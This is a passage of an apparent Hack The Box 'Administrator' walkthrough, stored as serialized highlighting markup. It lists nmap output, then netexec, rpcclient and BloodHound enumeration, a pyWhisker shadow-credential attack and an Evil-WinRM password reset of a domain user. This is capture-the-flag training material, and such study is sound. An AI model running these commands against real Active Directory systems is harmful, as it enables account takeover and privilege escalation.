(Couldn'",[33,1496,1497],{"class":39},"t",[33,1499,1500],{"class":59}," connect",[33,1502,437],{"class":178},[33,1504,1506,1508,1510,1512,1514,1517,1519,1522],{"class":35,"line":1505},73,[33,1507,1053],{"class":1052},[33,1509,1471],{"class":39},[33,1511,336],{"class":210},[33,1513,1476],{"class":178},[33,1515,1516],{"class":59},"14437\u002Fudp",[33,1518,1482],{"class":178},[33,1520,1521],{"class":39},"Timeout",[33,1523,437],{"class":178},[33,1525,1527,1529,1531,1534,1536,1539,1541,1544,1547,1550,1553],{"class":35,"line":1526},74,[33,1528,1053],{"class":1052},[33,1530,1471],{"class":39},[33,1532,1533],{"class":210}," 4",[33,1535,1476],{"class":178},[33,1537,1538],{"class":59},"48871\u002Fudp",[33,1540,1482],{"class":178},[33,1542,1543],{"class":39},"Failed",[33,1545,1546],{"class":59}," to",[33,1548,1549],{"class":59}," receive",[33,1551,1552],{"class":59}," data",[33,1554,437],{"class":178},[33,1556,1558,1560,1562,1565,1568,1571,1574,1577,1579,1582,1584,1586,1588],{"class":35,"line":1557},75,[33,1559,1053],{"class":1052},[33,1561,1067],{"class":39},[33,1563,1564],{"class":59},"  0\u002F4",[33,1566,1567],{"class":59}," checks",[33,1569,1570],{"class":59}," are",[33,1572,1573],{"class":59}," positive:",[33,1575,1576],{"class":59}," Host",[33,1578,934],{"class":59},[33,1580,1581],{"class":59}," CLEAN",[33,1583,1460],{"class":59},[33,1585,403],{"class":59},[33,1587,1570],{"class":59},[33,1589,1590],{"class":59}," blocked\n",[33,1592,1594,1596,1599],{"class":35,"line":1593},76,[33,1595,1053],{"class":1052},[33,1597,1598],{"class":39}," smb2-time:",[33,1600,1059],{"class":178},[33,1602,1604,1606,1609],{"class":35,"line":1603},77,[33,1605,1053],{"class":1052},[33,1607,1608],{"class":39},"   date:",[33,1610,1611],{"class":59}," 2024-11-17T20:10:34\n",[33,1613,1615,1617,1619,1622],{"class":35,"line":1614},78,[33,1616,1053],{"class":1052},[33,1618,1067],{"class":39},[33,1620,1621],{"class":59},"  start_date:",[33,1623,1624],{"class":59}," N\u002FA\n",[33,1626,1628,1630,1633],{"class":35,"line":1627},79,[33,1629,1053],{"class":1052},[33,1631,1632],{"class":39}," smb2-security-mode:",[33,1634,1059],{"class":178},[33,1636,1638,1640,1643],{"class":35,"line":1637},80,[33,1639,1053],{"class":1052},[33,1641,1642],{"class":39},"   3:1:1:",[33,1644,1059],{"class":178},[33,1646,1648,1650,1652,1655,1658,1661,1664],{"class":35,"line":1647},81,[33,1649,1053],{"class":1052},[33,1651,1067],{"class":39},[33,1653,1654],{"class":59},"    Message",[33,1656,1657],{"class":59}," signing",[33,1659,1660],{"class":59}," enabled",[33,1662,1663],{"class":59}," and",[33,1665,1666],{"class":59}," required\n",[33,1668,1670],{"class":35,"line":1669},82,[33,1671,76],{"emptyLinePlaceholder":75},[33,1673,1675,1677,1679],{"class":35,"line":1674},83,[33,1676,204],{"class":39},[33,1678,227],{"class":59},[33,1680,1681],{"class":59}," Post-scanning.\n",[33,1683,1685,1687,1689,1691,1693,1695,1697],{"class":35,"line":1684},84,[33,1686,204],{"class":39},[33,1688,237],{"class":59},[33,1690,240],{"class":59},[33,1692,243],{"class":210},[33,1694,246],{"class":178},[33,1696,249],{"class":210},[33,1698,252],{"class":178},[33,1700,1702,1704,1706,1708],{"class":35,"line":1701},85,[33,1703,257],{"class":39},[33,1705,260],{"class":59},[33,1707,263],{"class":59},[33,1709,266],{"class":59},[33,1711,1713,1715,1717,1719,1721,1723],{"class":35,"line":1712},86,[33,1714,271],{"class":39},[33,1716,260],{"class":59},[33,1718,263],{"class":59},[33,1720,278],{"class":59},[33,1722,281],{"class":59},[33,1724,284],{"class":59},[33,1726,1728,1730,1732,1734,1736,1738,1740],{"class":35,"line":1727},87,[33,1729,204],{"class":39},[33,1731,237],{"class":59},[33,1733,240],{"class":59},[33,1735,295],{"class":210},[33,1737,246],{"class":178},[33,1739,249],{"class":210},[33,1741,252],{"class":178},[33,1743,1745,1747,1749,1751],{"class":35,"line":1744},88,[33,1746,257],{"class":39},[33,1748,260],{"class":59},[33,1750,263],{"class":59},[33,1752,266],{"class":59},[33,1754,1756,1758,1760,1762,1764,1766],{"class":35,"line":1755},89,[33,1757,271],{"class":39},[33,1759,260],{"class":59},[33,1761,263],{"class":59},[33,1763,278],{"class":59},[33,1765,281],{"class":59},[33,1767,284],{"class":59},[33,1769,1771,1773,1775,1777,1779,1781,1783],{"class":35,"line":1770},90,[33,1772,204],{"class":39},[33,1774,237],{"class":59},[33,1776,240],{"class":59},[33,1778,336],{"class":210},[33,1780,246],{"class":178},[33,1782,249],{"class":210},[33,1784,252],{"class":178},[33,1786,1788,1790,1792,1794],{"class":35,"line":1787},91,[33,1789,257],{"class":39},[33,1791,260],{"class":59},[33,1793,263],{"class":59},[33,1795,266],{"class":59},[33,1797,1799,1801,1803,1805,1807,1809],{"class":35,"line":1798},92,[33,1800,271],{"class":39},[33,1802,260],{"class":59},[33,1804,263],{"class":59},[33,1806,278],{"class":59},[33,1808,281],{"class":59},[33,1810,284],{"class":59},[33,1812,1814,1817,1819,1822,1825],{"class":35,"line":1813},93,[33,1815,1816],{"class":39},"Read",[33,1818,1552],{"class":59},[33,1820,1821],{"class":59}," files",[33,1823,1824],{"class":59}," from:",[33,1826,1827],{"class":59}," \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\n",[33,1829,1831,1833,1836,1839,1842,1844,1847,1850,1853,1855,1858],{"class":35,"line":1830},94,[33,1832,1381],{"class":39},[33,1834,1835],{"class":59}," detection",[33,1837,1838],{"class":59}," performed.",[33,1840,1841],{"class":59}," Please",[33,1843,919],{"class":59},[33,1845,1846],{"class":59}," any",[33,1848,1849],{"class":59}," incorrect",[33,1851,1852],{"class":59}," results",[33,1854,263],{"class":59},[33,1856,1857],{"class":59}," https:\u002F\u002Fnmap.org\u002Fsubmit\u002F",[33,1859,1860],{"class":59}," .\n",[33,1862,1864,1866,1869,1871,1874,1877,1879,1882,1885],{"class":35,"line":1863},95,[33,1865,914],{"class":39},[33,1867,1868],{"class":59}," done:",[33,1870,243],{"class":210},[33,1872,1873],{"class":59}," IP",[33,1875,1876],{"class":59}," address",[33,1878,428],{"class":178},[33,1880,1881],{"class":59},"host",[33,1883,1884],{"class":59}," up",[33,1886,1887],{"class":178},") scanned in 15.71 seconds\n",[33,1889,1891,1894,1897,1900,1903,1906,1908,1911,1914],{"class":35,"line":1890},96,[33,1892,1893],{"class":39},"           Raw",[33,1895,1896],{"class":59}," packets",[33,1898,1899],{"class":59}," sent:",[33,1901,1902],{"class":210}," 1004",[33,1904,1905],{"class":178}," (44.152KB) ",[33,1907,1053],{"class":1052},[33,1909,1910],{"class":39}," Rcvd:",[33,1912,1913],{"class":210}," 1001",[33,1915,1916],{"class":178}," (40.076KB)\n",[16,1918,1919],{},"We received access data from Hack The Box in advance. The user is “olivia” and the corresponding password is “ichliebedich”.",[16,1921,1922],{},"I then used this access data to gather information via Netexec and WinRM.",[20,1924,1925],{},[23,1926,1928],{"className":25,"code":1927,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ netexec smb administrator.htb -u Olivia -p 'ichliebedich' --shares\nSMB         10.129.134.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)\nSMB         10.129.134.50   445    DC               [+] administrator.htb\\Olivia:ichliebedich\nSMB         10.129.134.50   445    DC               [*] Enumerated shares\nSMB         10.129.134.50   445    DC               Share           Permissions     Remark\nSMB         10.129.134.50   445    DC               -----           -----------     ------\nSMB         10.129.134.50   445    DC               ADMIN$                          Remote Admin\nSMB         10.129.134.50   445    DC               C$                              Default share\nSMB         10.129.134.50   445    DC               IPC$            READ            Remote IPC\nSMB         10.129.134.50   445    DC               NETLOGON        READ            Logon server share\nSMB         10.129.134.50   445    DC               SYSVOL          READ            Logon server share\n",[30,1929,1930,1934,1952,1990,2009,2022,2041,2060,2082,2104,2129,2153],{"__ignoreMap":28},[33,1931,1932],{"class":35,"line":36},[33,1933,171],{"class":39},[33,1935,1936,1938,1941,1944,1947,1949],{"class":35,"line":43},[33,1937,46],{"class":39},[33,1939,1940],{"class":178}," [★]$ netexec smb administrator.htb -u Olivia -p ",[33,1942,1943],{"class":1393},"'",[33,1945,1946],{"class":59},"ichliebedich",[33,1948,1943],{"class":1393},[33,1950,1951],{"class":178}," --shares\n",[33,1953,1954,1957,1960,1963,1966,1969,1972,1975,1978,1980,1983,1985,1988],{"class":35,"line":53},[33,1955,1956],{"class":39},"SMB",[33,1958,1959],{"class":210},"         10.129.134.50",[33,1961,1962],{"class":210},"   445",[33,1964,1965],{"class":59},"    DC",[33,1967,1968],{"class":178},"               [*] Windows Server 2022 Build 20348 x64 (",[33,1970,1971],{"class":39},"name:DC",[33,1973,1974],{"class":178},") (",[33,1976,1977],{"class":39},"domain:administrator.htb",[33,1979,1974],{"class":178},[33,1981,1982],{"class":39},"signing:True",[33,1984,1974],{"class":178},[33,1986,1987],{"class":39},"SMBv1:False",[33,1989,437],{"class":178},[33,1991,1992,1994,1996,1998,2000,2003,2006],{"class":35,"line":63},[33,1993,1956],{"class":39},[33,1995,1959],{"class":210},[33,1997,1962],{"class":210},[33,1999,1965],{"class":59},[33,2001,2002],{"class":178},"               [+] administrator.htb",[33,2004,2005],{"class":210},"\\O",[33,2007,2008],{"class":178},"livia:ichliebedich\n",[33,2010,2011,2013,2015,2017,2019],{"class":35,"line":72},[33,2012,1956],{"class":39},[33,2014,1959],{"class":210},[33,2016,1962],{"class":210},[33,2018,1965],{"class":59},[33,2020,2021],{"class":178},"               [*] Enumerated shares\n",[33,2023,2024,2026,2028,2030,2032,2035,2038],{"class":35,"line":79},[33,2025,1956],{"class":39},[33,2027,1959],{"class":210},[33,2029,1962],{"class":210},[33,2031,1965],{"class":59},[33,2033,2034],{"class":59},"               Share",[33,2036,2037],{"class":59},"           Permissions",[33,2039,2040],{"class":59},"     Remark\n",[33,2042,2043,2045,2047,2049,2051,2054,2057],{"class":35,"line":88},[33,2044,1956],{"class":39},[33,2046,1959],{"class":210},[33,2048,1962],{"class":210},[33,2050,1965],{"class":59},[33,2052,2053],{"class":210},"               -----",[33,2055,2056],{"class":210},"           -----------",[33,2058,2059],{"class":210},"     ------\n",[33,2061,2062,2064,2066,2068,2070,2073,2076,2079],{"class":35,"line":93},[33,2063,1956],{"class":39},[33,2065,1959],{"class":210},[33,2067,1962],{"class":210},[33,2069,1965],{"class":59},[33,2071,2072],{"class":59},"               ADMIN",[33,2074,2075],{"class":178},"$                          ",[33,2077,2078],{"class":59},"Remote",[33,2080,2081],{"class":59}," Admin\n",[33,2083,2084,2086,2088,2090,2092,2095,2098,2101],{"class":35,"line":99},[33,2085,1956],{"class":39},[33,2087,1959],{"class":210},[33,2089,1962],{"class":210},[33,2091,1965],{"class":59},[33,2093,2094],{"class":59},"               C",[33,2096,2097],{"class":178},"$                              ",[33,2099,2100],{"class":59},"Default",[33,2102,2103],{"class":59}," share\n",[33,2105,2106,2108,2110,2112,2114,2117,2120,2123,2126],{"class":35,"line":118},[33,2107,1956],{"class":39},[33,2109,1959],{"class":210},[33,2111,1962],{"class":210},[33,2113,1965],{"class":59},[33,2115,2116],{"class":59},"               IPC",[33,2118,2119],{"class":178},"$            ",[33,2121,2122],{"class":59},"READ",[33,2124,2125],{"class":59},"            Remote",[33,2127,2128],{"class":59}," IPC\n",[33,2130,2131,2133,2135,2137,2139,2142,2145,2148,2151],{"class":35,"line":127},[33,2132,1956],{"class":39},[33,2134,1959],{"class":210},[33,2136,1962],{"class":210},[33,2138,1965],{"class":59},[33,2140,2141],{"class":59},"               NETLOGON",[33,2143,2144],{"class":59},"        READ",[33,2146,2147],{"class":59},"            Logon",[33,2149,2150],{"class":59}," server",[33,2152,2103],{"class":59},[33,2154,2155,2157,2159,2161,2163,2166,2169,2171,2173],{"class":35,"line":136},[33,2156,1956],{"class":39},[33,2158,1959],{"class":210},[33,2160,1962],{"class":210},[33,2162,1965],{"class":59},[33,2164,2165],{"class":59},"               SYSVOL",[33,2167,2168],{"class":59},"          READ",[33,2170,2147],{"class":59},[33,2172,2150],{"class":59},[33,2174,2103],{"class":59},[20,2176,2177],{},[23,2178,2180],{"className":25,"code":2179,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ netexec winrm administrator.htb -u olivia -p ichliebedich\nWINRM       10.129.134.50   5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)\nWINRM       10.129.134.50   5985   DC               [+] administrator.htb\\olivia:ichliebedich (Pwn3d!)\n",[30,2181,2182,2186,2193,2218],{"__ignoreMap":28},[33,2183,2184],{"class":35,"line":36},[33,2185,171],{"class":39},[33,2187,2188,2190],{"class":35,"line":43},[33,2189,46],{"class":39},[33,2191,2192],{"class":178}," [★]$ netexec winrm administrator.htb -u olivia -p ichliebedich\n",[33,2194,2195,2198,2201,2204,2207,2210,2212,2214,2216],{"class":35,"line":53},[33,2196,2197],{"class":39},"WINRM",[33,2199,2200],{"class":210},"       10.129.134.50",[33,2202,2203],{"class":210},"   5985",[33,2205,2206],{"class":59},"   DC",[33,2208,2209],{"class":178},"               [*] Windows Server 2022 Build 20348 (",[33,2211,1971],{"class":39},[33,2213,1974],{"class":178},[33,2215,1977],{"class":39},[33,2217,437],{"class":178},[33,2219,2220,2222,2224,2226,2228,2230,2233,2236,2239],{"class":35,"line":63},[33,2221,2197],{"class":39},[33,2223,2200],{"class":210},[33,2225,2203],{"class":210},[33,2227,2206],{"class":59},[33,2229,2002],{"class":178},[33,2231,2232],{"class":210},"\\o",[33,2234,2235],{"class":178},"livia:ichliebedich (",[33,2237,2238],{"class":39},"Pwn3d!",[33,2240,437],{"class":178},[16,2242,2243],{},"Then I displayed the users within the domain.",[20,2245,2246],{},[23,2247,2249],{"className":25,"code":2248,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~\u002F.nxc\u002Flogs]\n└──╼ [★]$ rpcclient -U \"Olivia%ichliebedich\" administrator.htb -c \"enumdomusers\"user:[Administrator] rid:[0x1f4]\nuser:[Guest] rid:[0x1f5]\nuser:[krbtgt] rid:[0x1f6]\nuser:[olivia] rid:[0x454]\nuser:[michael] rid:[0x455]\nuser:[benjamin] rid:[0x456]\nuser:[emily] rid:[0x458]\nuser:[ethan] rid:[0x459]\nuser:[alexander] rid:[0xe11]\nuser:[emma] rid:[0xe12]\n",[30,2250,2251,2256,2302,2310,2318,2326,2334,2342,2350,2358,2366],{"__ignoreMap":28},[33,2252,2253],{"class":35,"line":36},[33,2254,2255],{"class":39},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~\u002F.nxc\u002Flogs]\n",[33,2257,2258,2260,2263,2266,2269,2271,2274,2276,2279,2281,2284,2286,2289,2292,2295,2297,2300],{"class":35,"line":43},[33,2259,46],{"class":39},[33,2261,2262],{"class":178}," [★]$ rpcclient -U ",[33,2264,2265],{"class":1393},"\"",[33,2267,2268],{"class":59},"Olivia%ichliebedich",[33,2270,2265],{"class":1393},[33,2272,2273],{"class":178}," administrator.htb -c ",[33,2275,2265],{"class":1393},[33,2277,2278],{"class":59},"enumdomusers",[33,2280,2265],{"class":1393},[33,2282,2283],{"class":178},"user:",[33,2285,397],{"class":102},[33,2287,2288],{"class":178},"Administrator",[33,2290,2291],{"class":102},"]",[33,2293,2294],{"class":178}," rid:",[33,2296,397],{"class":102},[33,2298,2299],{"class":178},"0x1f4",[33,2301,406],{"class":102},[33,2303,2304,2307],{"class":35,"line":53},[33,2305,2306],{"class":39},"user:[Guest]",[33,2308,2309],{"class":59}," rid:[0x1f5]\n",[33,2311,2312,2315],{"class":35,"line":63},[33,2313,2314],{"class":39},"user:[krbtgt]",[33,2316,2317],{"class":59}," rid:[0x1f6]\n",[33,2319,2320,2323],{"class":35,"line":72},[33,2321,2322],{"class":39},"user:[olivia]",[33,2324,2325],{"class":59}," rid:[0x454]\n",[33,2327,2328,2331],{"class":35,"line":79},[33,2329,2330],{"class":39},"user:[michael]",[33,2332,2333],{"class":59}," rid:[0x455]\n",[33,2335,2336,2339],{"class":35,"line":88},[33,2337,2338],{"class":39},"user:[benjamin]",[33,2340,2341],{"class":59}," rid:[0x456]\n",[33,2343,2344,2347],{"class":35,"line":93},[33,2345,2346],{"class":39},"user:[emily]",[33,2348,2349],{"class":59}," rid:[0x458]\n",[33,2351,2352,2355],{"class":35,"line":99},[33,2353,2354],{"class":39},"user:[ethan]",[33,2356,2357],{"class":59}," rid:[0x459]\n",[33,2359,2360,2363],{"class":35,"line":118},[33,2361,2362],{"class":39},"user:[alexander]",[33,2364,2365],{"class":59}," rid:[0xe11]\n",[33,2367,2368,2371],{"class":35,"line":127},[33,2369,2370],{"class":39},"user:[emma]",[33,2372,2373],{"class":59}," rid:[0xe12]\n",[2375,2376,2378],"h3",{"id":2377},"bloodhound","Bloodhound",[16,2380,2381],{},"Netexec has a built-in Bloodhound collector. We use this to be able to do further enumeration with Bloodhound.",[20,2383,2384],{},[23,2385,2387],{"className":25,"code":2386,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ netexec ldap 10.129.134.50 -u olivia -p ichliebedich --bloodhound --collection All --dns-server 10.129.134.50\nSMB         10.129.134.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)\nLDAP        10.129.134.50   389    DC               [+] administrator.htb\\olivia:ichliebedich\nLDAP        10.129.134.50   389    DC               Resolved collection methods: container, objectprops, localadmin, acl, rdp, trusts, psremote, dcom, session, group\nLDAP        10.129.134.50   389    DC               Done in 00M 02S\nLDAP        10.129.134.50   389    DC               Compressing output into \u002Fhome\u002Fnobrac\u002F.nxc\u002Flogs\u002FDC_10.129.134.50_2024-11-17_072900_bloodhound.zip\n",[30,2388,2389,2393,2400,2428,2447,2496,2518],{"__ignoreMap":28},[33,2390,2391],{"class":35,"line":36},[33,2392,171],{"class":39},[33,2394,2395,2397],{"class":35,"line":43},[33,2396,46],{"class":39},[33,2398,2399],{"class":178}," [★]$ netexec ldap 10.129.134.50 -u olivia -p ichliebedich --bloodhound --collection All --dns-server 10.129.134.50\n",[33,2401,2402,2404,2406,2408,2410,2412,2414,2416,2418,2420,2422,2424,2426],{"class":35,"line":53},[33,2403,1956],{"class":39},[33,2405,1959],{"class":210},[33,2407,1962],{"class":210},[33,2409,1965],{"class":59},[33,2411,1968],{"class":178},[33,2413,1971],{"class":39},[33,2415,1974],{"class":178},[33,2417,1977],{"class":39},[33,2419,1974],{"class":178},[33,2421,1982],{"class":39},[33,2423,1974],{"class":178},[33,2425,1987],{"class":39},[33,2427,437],{"class":178},[33,2429,2430,2433,2436,2439,2441,2443,2445],{"class":35,"line":63},[33,2431,2432],{"class":39},"LDAP",[33,2434,2435],{"class":210},"        10.129.134.50",[33,2437,2438],{"class":210},"   389",[33,2440,1965],{"class":59},[33,2442,2002],{"class":178},[33,2444,2232],{"class":210},[33,2446,2008],{"class":178},[33,2448,2449,2451,2453,2455,2457,2460,2463,2466,2469,2472,2475,2478,2481,2484,2487,2490,2493],{"class":35,"line":72},[33,2450,2432],{"class":39},[33,2452,2435],{"class":210},[33,2454,2438],{"class":210},[33,2456,1965],{"class":59},[33,2458,2459],{"class":59},"               Resolved",[33,2461,2462],{"class":59}," collection",[33,2464,2465],{"class":59}," methods:",[33,2467,2468],{"class":59}," container,",[33,2470,2471],{"class":59}," objectprops,",[33,2473,2474],{"class":59}," localadmin,",[33,2476,2477],{"class":59}," acl,",[33,2479,2480],{"class":59}," rdp,",[33,2482,2483],{"class":59}," trusts,",[33,2485,2486],{"class":59}," psremote,",[33,2488,2489],{"class":59}," dcom,",[33,2491,2492],{"class":59}," session,",[33,2494,2495],{"class":59}," group\n",[33,2497,2498,2500,2502,2504,2506,2509,2512,2515],{"class":35,"line":79},[33,2499,2432],{"class":39},[33,2501,2435],{"class":210},[33,2503,2438],{"class":210},[33,2505,1965],{"class":59},[33,2507,2508],{"class":59},"               Done",[33,2510,2511],{"class":59}," in",[33,2513,2514],{"class":59}," 00M",[33,2516,2517],{"class":59}," 02S\n",[33,2519,2520,2522,2524,2526,2528,2531,2534,2537],{"class":35,"line":88},[33,2521,2432],{"class":39},[33,2523,2435],{"class":210},[33,2525,2438],{"class":210},[33,2527,1965],{"class":59},[33,2529,2530],{"class":59},"               Compressing",[33,2532,2533],{"class":59}," output",[33,2535,2536],{"class":59}," into",[33,2538,2539],{"class":59}," \u002Fhome\u002Fnobrac\u002F.nxc\u002Flogs\u002FDC_10.129.134.50_2024-11-17_072900_bloodhound.zip\n",[16,2541,2542],{},"Then I started the neo4j database and Bloodhound. I will not describe this in detail here, as there are enough instructions on the net or on the Github page of the products themselves.\nI then simply imported the ZIP file that I had previously generated with Netexec.",[16,2544,2545],{},"We see that the user “olivia” has the “GenericAll” authorizations for the user “michael” under “First Degree Object Control”. We can take advantage of this.",[16,2547,2548],{},[2549,2550],"img",{"alt":28,"src":2551},"\u002Fimages\u002Fposts\u002Fhack-the-box-administrator\u002Fattachments\u002F1.webp",[16,2553,2554],{},"I then use the “pyWhisker” tool to add the “msDs-KeyCredentialLink” attribute to the user “michael” so that we can then change his password.",[20,2556,2557],{},[23,2558,2560],{"className":25,"code":2559,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~\u002F.nxc\u002Flogs\u002Fpywhisker]\n└──╼ [★]$ pywhisker -d \"administrator.htb\" -u \"olivia\" -p 'ichliebedich' --target \"michael\" --action \"add\"\n[*] Searching for the target account\n[*] Target user found: CN=Michael Williams,CN=Users,DC=administrator,DC=htb\n[*] Generating certificate\n[*] Certificate generated\n[*] Generating KeyCredential\n[*] KeyCredential generated with DeviceID: 3c36ecb6-19db-1f01-aa9b-2e6a933eaba1\n[*] Updating the msDS-KeyCredentialLink attribute of michael\n[+] Updated the msDS-KeyCredentialLink attribute of the target object\n[+] Saved PFX (#PKCS12) certificate & key at path: We3AsZtq.pfx\n[*] Must be used with password: K8dmwhwNaDKidqZ9SFsr\n[*] A TGT can now be obtained with https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FPKINITtools\n",[30,2561,2562,2567,2621,2640,2667,2678,2689,2700,2711,2722,2734,2745,2771],{"__ignoreMap":28},[33,2563,2564],{"class":35,"line":36},[33,2565,2566],{"class":39},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~\u002F.nxc\u002Flogs\u002Fpywhisker]\n",[33,2568,2569,2571,2574,2576,2579,2581,2584,2586,2589,2591,2594,2596,2598,2600,2603,2605,2608,2610,2613,2615,2618],{"class":35,"line":43},[33,2570,46],{"class":39},[33,2572,2573],{"class":178}," [★]$ pywhisker -d ",[33,2575,2265],{"class":1393},[33,2577,2578],{"class":59},"administrator.htb",[33,2580,2265],{"class":1393},[33,2582,2583],{"class":178}," -u ",[33,2585,2265],{"class":1393},[33,2587,2588],{"class":59},"olivia",[33,2590,2265],{"class":1393},[33,2592,2593],{"class":178}," -p ",[33,2595,1943],{"class":1393},[33,2597,1946],{"class":59},[33,2599,1943],{"class":1393},[33,2601,2602],{"class":178}," --target ",[33,2604,2265],{"class":1393},[33,2606,2607],{"class":59},"michael",[33,2609,2265],{"class":1393},[33,2611,2612],{"class":178}," --action ",[33,2614,2265],{"class":1393},[33,2616,2617],{"class":59},"add",[33,2619,2620],{"class":1393},"\"\n",[33,2622,2623,2625,2628,2630,2633,2637],{"class":35,"line":53},[33,2624,397],{"class":102},[33,2626,2627],{"class":1052},"*",[33,2629,2291],{"class":102},[33,2631,2632],{"class":178}," Searching ",[33,2634,2636],{"class":2635},"sBQf5","for",[33,2638,2639],{"class":178}," the target account\n",[33,2641,2642,2644,2646,2648,2651,2655,2658,2661,2664],{"class":35,"line":63},[33,2643,397],{"class":102},[33,2645,2627],{"class":1052},[33,2647,2291],{"class":102},[33,2649,2650],{"class":178}," Target user found: ",[33,2652,2654],{"class":2653},"sMWUE","CN",[33,2656,2657],{"class":1052},"=",[33,2659,2660],{"class":59},"Michael",[33,2662,2663],{"class":39}," Williams,CN",[33,2665,2666],{"class":59},"=Users,DC=administrator,DC=htb\n",[33,2668,2669,2671,2673,2675],{"class":35,"line":72},[33,2670,397],{"class":102},[33,2672,2627],{"class":1052},[33,2674,2291],{"class":102},[33,2676,2677],{"class":178}," Generating certificate\n",[33,2679,2680,2682,2684,2686],{"class":35,"line":79},[33,2681,397],{"class":102},[33,2683,2627],{"class":1052},[33,2685,2291],{"class":102},[33,2687,2688],{"class":178}," Certificate generated\n",[33,2690,2691,2693,2695,2697],{"class":35,"line":88},[33,2692,397],{"class":102},[33,2694,2627],{"class":1052},[33,2696,2291],{"class":102},[33,2698,2699],{"class":178}," Generating KeyCredential\n",[33,2701,2702,2704,2706,2708],{"class":35,"line":93},[33,2703,397],{"class":102},[33,2705,2627],{"class":1052},[33,2707,2291],{"class":102},[33,2709,2710],{"class":178}," KeyCredential generated with DeviceID: 3c36ecb6-19db-1f01-aa9b-2e6a933eaba1\n",[33,2712,2713,2715,2717,2719],{"class":35,"line":99},[33,2714,397],{"class":102},[33,2716,2627],{"class":1052},[33,2718,2291],{"class":102},[33,2720,2721],{"class":178}," Updating the msDS-KeyCredentialLink attribute of michael\n",[33,2723,2724,2726,2729,2731],{"class":35,"line":118},[33,2725,397],{"class":102},[33,2727,2728],{"class":178},"+",[33,2730,2291],{"class":102},[33,2732,2733],{"class":178}," Updated the msDS-KeyCredentialLink attribute of the target object\n",[33,2735,2736,2738,2740,2742],{"class":35,"line":127},[33,2737,397],{"class":102},[33,2739,2728],{"class":178},[33,2741,2291],{"class":102},[33,2743,2744],{"class":178}," Saved PFX (#PKCS12) certificate & key at path: We3AsZtq.pfx\n",[33,2746,2747,2749,2751,2753,2756,2759,2762,2765,2768],{"class":35,"line":136},[33,2748,397],{"class":102},[33,2750,2627],{"class":1052},[33,2752,2291],{"class":102},[33,2754,2755],{"class":39}," Must",[33,2757,2758],{"class":59}," be",[33,2760,2761],{"class":59}," used",[33,2763,2764],{"class":59}," with",[33,2766,2767],{"class":59}," password:",[33,2769,2770],{"class":59}," K8dmwhwNaDKidqZ9SFsr\n",[33,2772,2773,2775,2777,2779],{"class":35,"line":144},[33,2774,397],{"class":102},[33,2776,2627],{"class":1052},[33,2778,2291],{"class":102},[33,2780,2781],{"class":178}," A TGT can now be obtained with https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FPKINITtools\n",[16,2783,2784],{},"Login with Evil-WinRM and change password of user \"michael\".",[20,2786,2787],{},[23,2788,2790],{"className":25,"code":2789,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ evil-winrm -i administrator.htb -u olivia -p ichliebedich\n                                        \nEvil-WinRM shell v3.5\n                                        \nWarning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine\n                                        \nData: For more information, check Evil-WinRM GitHub: https:\u002F\u002Fgithub.com\u002FHackplayers\u002Fevil-winrm#Remote-path-completion\n                                        \nInfo: Establishing connection to remote endpoint\n*Evil-WinRM* PS C:\\Users\\olivia\\Documents> net user michael Anfang2022! \u002FDOMAIN\nThe command completed successfully.\n",[30,2791,2792,2796,2803,2808,2819,2823,2875,2879,2905,2909,2928,2968],{"__ignoreMap":28},[33,2793,2794],{"class":35,"line":36},[33,2795,171],{"class":39},[33,2797,2798,2800],{"class":35,"line":43},[33,2799,46],{"class":39},[33,2801,2802],{"class":178}," [★]$ evil-winrm -i administrator.htb -u olivia -p ichliebedich\n",[33,2804,2805],{"class":35,"line":53},[33,2806,2807],{"class":178},"                                        \n",[33,2809,2810,2813,2816],{"class":35,"line":63},[33,2811,2812],{"class":39},"Evil-WinRM",[33,2814,2815],{"class":59}," shell",[33,2817,2818],{"class":59}," v3.5\n",[33,2820,2821],{"class":35,"line":72},[33,2822,2807],{"class":178},[33,2824,2825,2828,2831,2834,2837,2839,2842,2845,2847,2850,2853,2856,2859,2862,2864,2867,2869,2872],{"class":35,"line":79},[33,2826,2827],{"class":39},"Warning:",[33,2829,2830],{"class":59}," Remote",[33,2832,2833],{"class":59}," path",[33,2835,2836],{"class":59}," completions",[33,2838,934],{"class":59},[33,2840,2841],{"class":59}," disabled",[33,2843,2844],{"class":59}," due",[33,2846,1546],{"class":59},[33,2848,2849],{"class":59}," ruby",[33,2851,2852],{"class":59}," limitation:",[33,2854,2855],{"class":59}," quoting_detection_proc",[33,2857,2858],{"class":1393},"()",[33,2860,2861],{"class":59}," function",[33,2863,934],{"class":59},[33,2865,2866],{"class":59}," unimplemented",[33,2868,490],{"class":59},[33,2870,2871],{"class":59}," this",[33,2873,2874],{"class":59}," machine\n",[33,2876,2877],{"class":35,"line":88},[33,2878,2807],{"class":178},[33,2880,2881,2884,2887,2890,2893,2896,2899,2902],{"class":35,"line":93},[33,2882,2883],{"class":39},"Data:",[33,2885,2886],{"class":59}," For",[33,2888,2889],{"class":59}," more",[33,2891,2892],{"class":59}," information,",[33,2894,2895],{"class":59}," check",[33,2897,2898],{"class":59}," Evil-WinRM",[33,2900,2901],{"class":59}," GitHub:",[33,2903,2904],{"class":59}," 